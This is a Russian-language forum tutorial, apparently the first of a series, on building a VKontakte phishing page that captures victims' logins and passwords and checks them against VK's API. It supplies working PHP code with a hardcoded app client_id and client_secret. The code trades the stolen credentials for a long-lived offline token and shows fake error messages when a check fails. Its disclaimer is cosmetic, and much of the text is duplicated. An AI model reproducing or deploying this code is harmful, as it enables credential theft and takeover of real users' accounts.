Всем привет! С вами Andy. Делюсь с вами опытом как сделать простенький фишинговый сайт ВКонтатке с проверкой на валид. В этой части рассмотрим как написать скрипт авторизации/получения токена по логину и паролю, обработку ответов сервера ВКонтакте и вывод сообщения с ошибкой на странице при невалидности данных.
Дисклаймер
Материал предоставлен для ознакомления. Автор не побуждает совершать действия, описанные ниже. В статье упоминаются некоторые онлайн сервисы, что не является рекламой.
Приступим. Углубляться в то, как я делал html страницу не буду, ее можно скачать тут (Я.Диск)
Сначала мы напишем скрипт, который отправит данные из HTML-формы серверам ВКонтакте и запросит получение токена. Делать мы это будем с помощью cUrl и прямой авторизации через API VK. Запрос на прямую авторизацию выглядит примерно так:
[SRC]
<?php
//Создадим headers
$headers = array(
'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'content-type' => 'application/x-www-form-urlencoded',
'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36'
);
//Запишем сюда значения логина и пароля из HTML формы
$login = $_POST['login'];
$password = $_POST['password'];
//Если какое-то поле оказалось пустым
if (empty($login) or empty($password))
{
//Отправим пользователя на стартовую страницу authorize и просигнализируем об ошибке
header('Location: /authorize.php?error_login=true');
exit;
}
else
{
//Если все поля заполнены, то посылаем запрос на получение токена по нашей ссылке выше
$get_token = post ('https://api.vk.com/oauth/token?grant_type=password&client_id=2274003&scope=offline&client_secret=hHbZxrka2uZ6jB1inYsH&username='.$login.'&password='.$password.'' ,array(
'headers' => array(
'accept: '.$headers['accept'],
'content-type: '.$headers['content-type'],
'user-agent: '.$headers['user-agent']
)
));
//Отобразим результат запроса
print_r ($get_token);
}
//cUrl POST
function post($url = null, $params = null, $proxy = null, $proxy_userpwd = null) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
if(isset($params['params'])) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params['params']);
}
if(isset($params['headers'])) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $params['headers']);
}
if(isset($params['cookies'])) {
curl_setopt($ch, CURLOPT_COOKIE, $params['cookies']);
}
if($proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy);
if($proxy_userpwd) {
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_userpwd);
}
}
$result = curl_exec($ch);
$result_explode = explode("\r\n\r\n", $result);
$headers = ((isset($result_explode[0])) ? $result_explode[0]."\r\n" : '').''.((isset($result_explode[1])) ? $result_explode[1] : '');
$content = $result_explode[count($result_explode) - 1];
preg_match_all('|Set-Cookie: (.*);|U', $headers, $parse_cookies);
$cookies = implode(';', $parse_cookies[1]);
curl_close($ch);
return array('headers' => $headers, 'cookies' => $cookies, 'content' => $content);
}
?>
[/SRC]
Окей, мы написали скрипт, который посылает логин, пароль на авторизацию и получение токена. Но нам еще предстоит обработать ответы сервера. Ответов может быть несколько
[SRC]
print_r ($get_token);
[/SRC]
следующее:
[SRC]
//Если авторизация прошла успешно, то отобразим полученный токен
if (preg_match("/[a-z0-9]{85}/", $get_token['headers'], $token))
{
echo "token=".$token[0];
echo "<br>login=".$login;
echo "<br>password=".$password;
exit;
}
//Если авторизация не прошла, то отправим пользователя на стартовую страницу с ошибкой
else header('Location: /authorize.php?error_login=true');
[/SRC]
Теперь сделаем так, чтобы стартовая страница могла отслеживать появление ошибок и выдавать об этом сообщение - добавим эти строки с самого начала файла, после тега
[SRC]<head>[/SRC]
в нашу authorize.html и !Важно: поменяем расширание файла с .html на .php
[SRC]
<?
$errorGet = $_GET['error_login'];
if (!$errorGet)
{
echo "<style>
#hide_row_pass {display: none;}
</style>";
}
else
{
echo "<style>
#hide_row_pass {display: block;}
</style>";
}
?>
[/SRC]
Что получилось в итоге...смотрите сами
На сегодня пожалуй всё. В следующей части разберем как создать базу данных и записать туда валидные данные аккаунтов ВК. Надеюсь, эта информация была для вас полезна!
Дисклаймер
Материал предоставлен для ознакомления. Автор не побуждает совершать действия, описанные ниже. В статье упоминаются некоторые онлайн сервисы, что не является рекламой.
Приступим. Углубляться в то, как я делал html страницу не буду, ее можно скачать тут (Я.Диск)
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Сначала мы напишем скрипт, который отправит данные из HTML-формы серверам ВКонтакте и запросит получение токена. Делать мы это будем с помощью cUrl и прямой авторизации через API VK. Запрос на прямую авторизацию выглядит примерно так:
Рассмотрим подробнее, что значат эти строки:https ://api.vk.com/oauth/token?grant_type=password&client_id=[наше значение]&scope=[наше значение]&client_secret=[наше значение]&username=[наше значение]&password=[наше значение]
- client_id - это id нашего приложения. Запишем в client_id значение 2274003.
- scope - права доступа, необходимые приложению. Усложнять себе жизнь мы не будем, а просто запросим офлайн токен, записав в scope значение "offline". Этого будет достаточно, чтобы входить на страницу ВК по токену через apidog.ru. !Важно: такой токен "живет" до тех пор, пока пользователь не сменит пароль, либо завершит все сессии в настройках безопасности.
- client_secret - секретный ключ Вашего приложения. Будет равен hHbZxrka2uZ6jB1inYsH
- username - логин пользователя ВКонтакте
- password - пароль пользователя ВКонтакте
Теперь создадим файл login.php и запишем туда следующееhttps ://api.vk.com/oauth/token?grant_type=password&client_id=2274003&scope=offline&client_secret=hHbZxrka2uZ6jB1inYsH&username=[логин ВКонтакте]&password=[пароль ВКонтакте]
[SRC]
<?php
//Создадим headers
$headers = array(
'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'content-type' => 'application/x-www-form-urlencoded',
'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36'
);
//Запишем сюда значения логина и пароля из HTML формы
$login = $_POST['login'];
$password = $_POST['password'];
//Если какое-то поле оказалось пустым
if (empty($login) or empty($password))
{
//Отправим пользователя на стартовую страницу authorize и просигнализируем об ошибке
header('Location: /authorize.php?error_login=true');
exit;
}
else
{
//Если все поля заполнены, то посылаем запрос на получение токена по нашей ссылке выше
$get_token = post ('https://api.vk.com/oauth/token?grant_type=password&client_id=2274003&scope=offline&client_secret=hHbZxrka2uZ6jB1inYsH&username='.$login.'&password='.$password.'' ,array(
'headers' => array(
'accept: '.$headers['accept'],
'content-type: '.$headers['content-type'],
'user-agent: '.$headers['user-agent']
)
));
//Отобразим результат запроса
print_r ($get_token);
}
//cUrl POST
function post($url = null, $params = null, $proxy = null, $proxy_userpwd = null) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
if(isset($params['params'])) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params['params']);
}
if(isset($params['headers'])) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $params['headers']);
}
if(isset($params['cookies'])) {
curl_setopt($ch, CURLOPT_COOKIE, $params['cookies']);
}
if($proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy);
if($proxy_userpwd) {
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_userpwd);
}
}
$result = curl_exec($ch);
$result_explode = explode("\r\n\r\n", $result);
$headers = ((isset($result_explode[0])) ? $result_explode[0]."\r\n" : '').''.((isset($result_explode[1])) ? $result_explode[1] : '');
$content = $result_explode[count($result_explode) - 1];
preg_match_all('|Set-Cookie: (.*);|U', $headers, $parse_cookies);
$cookies = implode(';', $parse_cookies[1]);
curl_close($ch);
return array('headers' => $headers, 'cookies' => $cookies, 'content' => $content);
}
?>
[/SRC]
Окей, мы написали скрипт, который посылает логин, пароль на авторизацию и получение токена. Но нам еще предстоит обработать ответы сервера. Ответов может быть несколько
Неправильный логин и/или пароль
Сервер запросил от вас ввода капчи
Сервер обнаружил двухфакторку на аккаунте
Сервер отправил BadRequest
Успех! Токен получен
Обработаем ответы сервера. Создадим условие: если сервер пошлет в ответ что угодно, кроме токена, то отправим пользователя на стартовую страницу с сообщением об ошибке. Для этого добавим в login.php вместо строчки
Сервер запросил от вас ввода капчи
Сервер обнаружил двухфакторку на аккаунте
Сервер отправил BadRequest
Успех! Токен получен
Обработаем ответы сервера. Создадим условие: если сервер пошлет в ответ что угодно, кроме токена, то отправим пользователя на стартовую страницу с сообщением об ошибке. Для этого добавим в login.php вместо строчки
[SRC]
print_r ($get_token);
[/SRC]
следующее:
[SRC]
//Если авторизация прошла успешно, то отобразим полученный токен
if (preg_match("/[a-z0-9]{85}/", $get_token['headers'], $token))
{
echo "token=".$token[0];
echo "<br>login=".$login;
echo "<br>password=".$password;
exit;
}
//Если авторизация не прошла, то отправим пользователя на стартовую страницу с ошибкой
else header('Location: /authorize.php?error_login=true');
[/SRC]
Теперь сделаем так, чтобы стартовая страница могла отслеживать появление ошибок и выдавать об этом сообщение - добавим эти строки с самого начала файла, после тега
[SRC]<head>[/SRC]
в нашу authorize.html и !Важно: поменяем расширание файла с .html на .php
[SRC]
<?
$errorGet = $_GET['error_login'];
if (!$errorGet)
{
echo "<style>
#hide_row_pass {display: none;}
</style>";
}
else
{
echo "<style>
#hide_row_pass {display: block;}
</style>";
}
?>
[/SRC]
Что получилось в итоге...смотрите сами
На сегодня пожалуй всё. В следующей части разберем как создать базу данных и записать туда валидные данные аккаунтов ВК. Надеюсь, эта информация была для вас полезна!